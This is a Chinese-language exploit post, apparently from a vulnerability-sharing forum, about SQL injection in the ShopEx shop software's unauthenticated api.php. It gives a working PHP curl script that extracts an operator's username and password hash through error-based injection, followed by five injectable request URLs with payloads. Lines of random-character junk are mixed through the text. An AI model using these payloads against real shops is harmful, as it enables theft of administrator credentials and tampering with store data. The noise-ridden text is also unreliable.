|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php6 @4 e o# P, p7 _9 E
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php! n* N. Y( I8 P3 `0 @
* r+ {& H6 K! W! z% s' I" A9 m第44行 $data['columns'] 未做过滤导致注入, j5 b7 E6 t/ ]6 l8 V: u$ `( r# {/ j
- I3 r# O2 o8 R/ k1 M1 l4 V
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
3 t9 ^1 K, l. b; D# s0 ^! L
9 p/ S9 P* B3 l; T注射1:5 \% N1 I7 ]8 F
: P( `1 {7 y [( D" ehttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
3 f, M% ?" q' [4 _
3 N8 X/ w7 I! R% S9 i) }* D注射2:
/ z3 O* L0 C" Y$ o1 @( T. Jhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}0 r8 Y+ i a8 ~* o
& O7 F$ D; }; O; \
注射3:
* W% P* ]7 O4 T( a6 {4 x$ _+ E) i http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
$ v* @, V; e2 \/ X b! s注射4:5 J7 z- s- H N
) J1 o8 @; E( f8 E8 z' }, Q
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
0 M6 `6 ^- C) M- D1 t4 Q8 T$ L6 ~* h8 `6 ]4 T8 [4 c! ?
; B2 W/ ]* m6 x% N
注射5:7 R8 c% S# u8 q
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx: U/ b" O: {; \6 t
9 |5 N% Y0 l8 G! I% Y. H8 P% ?. _6 { p& W1 M0 m
! ]0 z L7 h: ]5 h p0 z$ M- T+ s
( Y2 L: _/ Q5 d- s' F) k
' A* I/ E& c" W, O+ }) A1 L$ A! V. V! c1 c. s* W
|
|